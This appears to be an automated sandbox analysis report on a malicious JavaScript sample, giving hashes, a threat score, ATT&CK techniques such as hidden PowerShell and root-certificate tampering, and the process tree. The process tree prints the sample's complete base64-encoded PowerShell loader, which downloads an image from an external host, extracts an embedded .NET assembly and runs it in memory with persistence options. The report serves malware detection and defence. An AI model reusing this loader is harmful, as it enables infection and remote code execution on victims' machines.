1eb765ddbcf4fc19d9f2d77ec340f635bb9bd57f7b9b5ed2f78b9a10d2882c32

Analysis

max time kernel
142s
max time network
143s
platform
windows11-21h2_x64
resource
win11-20250619-en
resource tags

arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
submitted
15/08/2025, 15:34

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General

Target
WMIEventLogs.js
Size 2.1MB
Sample250815-sz5ftsylv3
SHA256 1eb765ddbcf4fc19d9f2d77ec340f635bb9bd57f7b9b5ed2f78b9a10d2882c32
MD5 8b531138512db9c24ba744c05a88684b
SHA1 098f53c68b78783834f335373736a49aee8f1655
SHA512 495a979fa1edeee3a8a062c2e20aa5d657872cc071cb024b60ec75289f7009f551db4ae9b30984c674ae280f3f01ff4f684eb20884419cd2d990a5de3ec5b4bd
SSDEEP 1536:f/shCOUZiUiUwdkiIL+PcY+i3xUOc80GPivViusr3bRM8DUJ/MUhCm3kCxyfkD52:K
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

defense_evasion execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1112	5948	powershell.exe	78

Blocklisted process makes network request 5 IoCs

flow	pid	Process
2	1112	powershell.exe
4	1112	powershell.exe
5	1112	powershell.exe
7	1112	powershell.exe
8	1112	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1112	powershell.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1112	powershell.exe
1112	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1112	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\WMIEventLogs.js
1⤵
PID:5396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKChJbnZva2UtV2ViUmVxdWVzdCAnaHR0cHM6Ly9hcmNoaXZlLm9yZy9kb3dubG9hZC9vcHRpbWl6ZWRfbXNpXzIwMjUwODE0L29wdGltaXplZF9NU0kucG5nJyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50KSAtbWF0Y2ggJ0Jhc2VTdGFydC0oLio/KS1CYXNlRW5kJyk7JHZhbG9yID0gJG1hdGNoZXNbMV07JGFzc2VtYmx5ID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdmFsb3IpKTskb2xpbmlhID0gJz1RSGUwNVNiMjlDT3lZak0yUURNeDhDYms5eVp5OW1MelZHYnBaR2N0UjNMdm9EYzBSSGEnOyR0eXBlID0gJGFzc2VtYmx5LkdldFR5cGUoJ0NsYXNzTGlicmFyeTEuSG9tZScpOyRtZXRob2QgPSAkdHlwZS5HZXRNZXRob2QoJ1ZBSScpOyRtZXRob2QuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dQCgkb2xpbmlhLCdzdGFydHVwcmVnJywnY2FtaW5ob3ZicycsJ25hbWV2YnMnLCdNU0J1aWxkJywnJywnTVNCdWlsZCcsJycsJ1VSTCcsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHMnLCdOYW1lX0ZpbGUnLCdqcycsJzEnLCdzdGFydHVwdGFzaycsJ1Rhc2tfTmFtZScsJzAnLCAnc3RhcnR1cF9vbnN0YXJ0JykpOw==')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Modifies trusted root certificate store through registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1112

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_gamb3k4z.fol.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gamb3k4z.fol.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/1112-0-0x0000023880200000-0x0000023880210000-memory.dmp

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memory/1112-1-0x00000238FF270000-0x00000238FF292000-memory.dmp

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memory/1112-10-0x0000023880200000-0x0000023880210000-memory.dmp

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memory/1112-11-0x0000023880200000-0x0000023880210000-memory.dmp

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memory/1112-12-0x0000023880200000-0x0000023880210000-memory.dmp

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memory/1112-13-0x0000023880200000-0x0000023880210000-memory.dmp

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memory/1112-14-0x0000023898940000-0x0000023898DCA000-memory.dmp

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